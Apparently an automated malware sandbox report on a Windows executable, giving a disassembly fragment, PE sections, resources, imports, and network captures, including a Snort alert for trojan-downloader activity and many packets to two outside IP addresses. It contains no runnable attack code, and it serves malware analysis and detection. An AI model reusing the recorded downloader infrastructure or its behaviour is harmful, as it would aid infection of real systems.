mov dword ptr fs:[eax], esp
xor edx, edx
push ebp
push 004B659Eh
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
mov eax, dword ptr [004BE634h]
call 00007F1598F81E67h
call 00007F1598F819BAh
lea edx, dword ptr [ebp-14h]
xor eax, eax
call 00007F1598EF4E14h
mov edx, dword ptr [ebp-14h]
mov eax, 004C1D84h
call 00007F1598ED9F67h
push 00000002h
push 00000000h
push 00000001h
mov ecx, dword ptr [004C1D84h]
mov dl, 01h
mov eax, dword ptr [004238ECh]
call 00007F1598EF5F97h
mov dword ptr [004C1D88h], eax
xor edx, edx
push ebp
push 004B654Ah
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
call 00007F1598F81EEFh
mov dword ptr [004C1D90h], eax
mov eax, dword ptr [004C1D90h]
cmp dword ptr [eax+0Ch], 01h
jne 00007F1598F8810Ah
mov eax, dword ptr [004C1D90h]
mov edx, 00000028h
call 00007F1598EF688Ch
mov edx, dword ptr [004C1D90h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xc4000	0x9a	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc2000	0xfdc	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc7000	0x11000	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xc6000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xc22f4	0x254	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0xc3000	0x1a4	.didata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb39e4	0xb3a00	43af0a9476ca224d8e8461f1e22c94da	False	0.34525867693110646	data	6.357635049994181	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0xb5000	0x1688	0x1800	185e04b9a1f554e31f7f848515dc890c	False	0.54443359375	data	5.971425428435973	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xb7000	0x37a4	0x3800	cab2107c933b696aa5cf0cc6c3fd3980	False	0.36097935267857145	data	5.048648594372454	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0xbb000	0x6de8	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xc2000	0xfdc	0x1000	e7d1635e2624b124cfdce6c360ac21cd	False	0.3798828125	data	5.029087481102678	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didata	0xc3000	0x1a4	0x200	8ced971d8a7705c98b173e255d8c9aa7	False	0.345703125	data	2.7509822285969876	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0xc4000	0x9a	0x200	8d4e1e508031afe235bf121c80fd7d5f	False	0.2578125	data	1.877162954504408	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0xc5000	0x18	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xc6000	0x5d	0x200	8f2f090acd9622c88a6a852e72f94e96	False	0.189453125	data	1.3838943752217987	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xc7000	0x11000	0x11000	0eebfc0d323376cf1e25a0260f2dcdff	False	0.18629365808823528	data	3.695058955164924	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc7678	0xa68	Device independent bitmap graphic, 64 x 128 x 4, image size 2048	English	United States	0.1174924924924925
RT_ICON	0xc80e0	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.15792682926829268
RT_ICON	0xc8748	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.23387096774193547
RT_ICON	0xc8a30	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.39864864864864863
RT_ICON	0xc8b58	0x1628	Device independent bitmap graphic, 64 x 128 x 8, image size 4096, 256 important colors	English	United States	0.08339210155148095
RT_ICON	0xca180	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.1023454157782516
RT_ICON	0xcb028	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.10649819494584838
RT_ICON	0xcb8d0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.10838150289017341
RT_ICON	0xcbe38	0x12e5	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.8712011577424024
RT_ICON	0xcd120	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.05668398677373642
RT_ICON	0xd1348	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.08475103734439834
RT_ICON	0xd38f0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.09920262664165103
RT_ICON	0xd4998	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.2047872340425532
RT_STRING	0xd4e00	0x360	data			0.34375
RT_STRING	0xd5160	0x260	data			0.3256578947368421
RT_STRING	0xd53c0	0x45c	data			0.4068100358422939
RT_STRING	0xd581c	0x40c	data			0.3754826254826255
RT_STRING	0xd5c28	0x2d4	data			0.39226519337016574
RT_STRING	0xd5efc	0xb8	data			0.6467391304347826
RT_STRING	0xd5fb4	0x9c	data			0.6410256410256411
RT_STRING	0xd6050	0x374	data			0.4230769230769231
RT_STRING	0xd63c4	0x398	data			0.3358695652173913
RT_STRING	0xd675c	0x368	data			0.3795871559633027
RT_STRING	0xd6ac4	0x2a4	data			0.4275147928994083
RT_RCDATA	0xd6d68	0x10	data			1.5
RT_RCDATA	0xd6d78	0x2c4	data			0.6384180790960452
RT_RCDATA	0xd703c	0x2c	data			1.1363636363636365
RT_GROUP_ICON	0xd7068	0xbc	data	English	United States	0.6170212765957447
RT_VERSION	0xd7124	0x584	data	English	United States	0.2797450424929179
RT_MANIFEST	0xd76a8	0x7a8	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3377551020408163

Imports

DLL	Import
kernel32.dll	GetACP, GetExitCodeProcess, LocalFree, CloseHandle, SizeofResource, VirtualProtect, VirtualFree, GetFullPathNameW, ExitProcess, HeapAlloc, GetCPInfoExW, RtlUnwind, GetCPInfo, GetStdHandle, GetModuleHandleW, FreeLibrary, HeapDestroy, ReadFile, CreateProcessW, GetLastError, GetModuleFileNameW, SetLastError, FindResourceW, CreateThread, CompareStringW, LoadLibraryA, ResetEvent, GetVersion, RaiseException, FormatMessageW, SwitchToThread, GetExitCodeThread, GetCurrentThread, LoadLibraryExW, LockResource, GetCurrentThreadId, UnhandledExceptionFilter, VirtualQuery, VirtualQueryEx, Sleep, EnterCriticalSection, SetFilePointer, LoadResource, SuspendThread, GetTickCount, GetFileSize, GetStartupInfoW, GetFileAttributesW, InitializeCriticalSection, GetSystemWindowsDirectoryW, GetThreadPriority, SetThreadPriority, GetCurrentProcess, VirtualAlloc, GetSystemInfo, GetCommandLineW, LeaveCriticalSection, GetProcAddress, ResumeThread, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, VerSetConditionMask, GetDiskFreeSpaceW, FindFirstFileW, GetUserDefaultUILanguage, lstrlenW, QueryPerformanceCounter, SetEndOfFile, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, CreateFileW, GetLocaleInfoW, GetSystemDirectoryW, DeleteFileW, GetLocalTime, GetEnvironmentVariableW, WaitForSingleObject, WriteFile, ExitThread, DeleteCriticalSection, TlsGetValue, GetDateFormatW, SetErrorMode, IsValidLocale, TlsSetValue, CreateDirectoryW, GetSystemDefaultUILanguage, EnumCalendarInfoW, LocalAlloc, GetUserDefaultLangID, RemoveDirectoryW, CreateEventW, SetThreadLocale, GetThreadLocale
comctl32.dll	InitCommonControls
version.dll	GetFileVersionInfoSizeW, VerQueryValueW, GetFileVersionInfoW
user32.dll	CreateWindowExW, TranslateMessage, CharLowerBuffW, CallWindowProcW, CharUpperW, PeekMessageW, GetSystemMetrics, SetWindowLongW, MessageBoxW, DestroyWindow, CharUpperBuffW, CharNextW, MsgWaitForMultipleObjects, LoadStringW, ExitWindowsEx, DispatchMessageW
oleaut32.dll	SysAllocStringLen, SafeArrayPtrOfIndex, VariantCopy, SafeArrayGetLBound, SafeArrayGetUBound, VariantInit, VariantClear, SysFreeString, SysReAllocStringLen, VariantChangeType, SafeArrayCreate
netapi32.dll	NetWkstaGetInfo, NetApiBufferFree
advapi32.dll	ConvertStringSecurityDescriptorToSecurityDescriptorW, RegQueryValueExW, AdjustTokenPrivileges, GetTokenInformation, ConvertSidToStringSidW, LookupPrivilegeValueW, RegCloseKey, OpenProcessToken, RegOpenKeyExW

Exports

Name	Ordinal	Address
TMethodImplementationIntercept	3	0x4541a8
__dbk_fcall_wrapper	2	0x40d0a0
dbkFCallWrapperAddr	1	0x4be63c

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.4172.67.206.12449729802047660 01/22/24-11:52:00.601181	TCP	2047660	ET MALWARE Win32/TrojanDownloader Variant Activity (GET)	49729	80	192.168.2.4	172.67.206.124

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 22, 2024 11:52:00.482388973 CET	49729	80	192.168.2.4	172.67.206.124
Jan 22, 2024 11:52:00.600629091 CET	80	49729	172.67.206.124	192.168.2.4
Jan 22, 2024 11:52:00.600841045 CET	49729	80	192.168.2.4	172.67.206.124
Jan 22, 2024 11:52:00.601181030 CET	49729	80	192.168.2.4	172.67.206.124
Jan 22, 2024 11:52:00.719266891 CET	80	49729	172.67.206.124	192.168.2.4
Jan 22, 2024 11:52:01.214171886 CET	80	49729	172.67.206.124	192.168.2.4
Jan 22, 2024 11:52:01.258071899 CET	49729	80	192.168.2.4	172.67.206.124
Jan 22, 2024 11:52:01.421091080 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:01.539321899 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:01.539655924 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:01.539943933 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:01.658039093 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.015739918 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.015755892 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.015769005 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.015774965 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.015780926 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.015981913 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.028439045 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.028512955 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.028599024 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.028611898 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.028623104 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.028635025 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.028660059 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.028687000 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.028909922 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.028940916 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.028950930 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.028960943 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.028970957 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.028980970 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.029006004 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.041989088 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.042001009 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.042011023 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.042022943 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.042033911 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.042100906 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.042263985 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.042375088 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.042387009 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.042397022 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.042409897 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.042423010 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.042432070 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.042460918 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.043135881 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.043159962 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.043173075 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.043190956 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.043225050 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.055515051 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.055527925 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.055538893 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.055551052 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.055569887 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.055596113 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.055749893 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.055949926 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.055962086 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.055973053 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.055984974 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.055996895 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.056005955 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.056030035 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.056051970 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.056801081 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.056813955 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.056824923 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.056837082 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.056849957 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.056863070 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.056900978 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.057596922 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.057647943 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.057660103 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.057672977 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.057683945 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.057697058 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.057715893 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.057750940 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.069055080 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.069068909 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.069081068 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.069093943 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.069108009 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.069137096 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.069297075 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.069382906 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.069478989 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.069493055 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.069504976 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.069524050 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.069550991 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.069591999 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.070322990 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.070338011 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.070350885 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.070363998 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.070377111 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.070411921 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.071152925 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.071165085 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.071176052 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.071187019 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.071198940 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.071203947 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.071255922 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.071938038 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.071995974 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.072007895 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.072020054 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.072046995 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.072074890 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.082912922 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.082942009 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.082957983 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.083014965 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.083184958 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.083198071 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.083317041 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.083368063 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.083380938 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.083390951 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.083404064 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.083416939 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.083421946 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.083446026 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.083476067 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.084213018 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.084227085 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.084238052 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.084252119 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.084265947 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.084268093 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.084295988 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.085040092 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.085086107 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.085088968 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.085104942 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.085118055 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.085131884 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.085150957 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.085172892 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.085922003 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.085935116 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.085947990 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.085961103 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.085975885 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.085990906 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.086021900 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.086700916 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.086713076 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.086745024 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.086755991 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.086756945 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.086788893 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.096524000 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.096554041 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.096564054 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.096576929 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.096618891 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.096780062 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.125206947 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.125243902 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.125253916 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.125267029 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.125278950 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.125339031 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.125514984 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.125744104 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.125756979 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.125767946 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.125776052 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.125787973 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.125958920 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.126471043 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.126483917 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.126494884 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.126507044 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.126518965 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.126526117 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.126543999 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.126569986 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.127336025 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.127348900 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.127360106 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.127372026 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.127383947 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.127392054 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.127415895 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.128099918 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.128154039 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.128170967 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.128185034 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.128196955 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.128211021 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.128225088 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.128258944 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.129034996 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.129048109 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.129059076 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.129072905 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.129086018 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.129087925 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.129132032 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.129851103 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.129865885 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.129878044 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.129895926 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.129905939 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.129909039 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.129931927 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.129964113 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.130759001 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.130772114 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.130781889 CET	80	49730	104.21.23.90	192.168.2.4
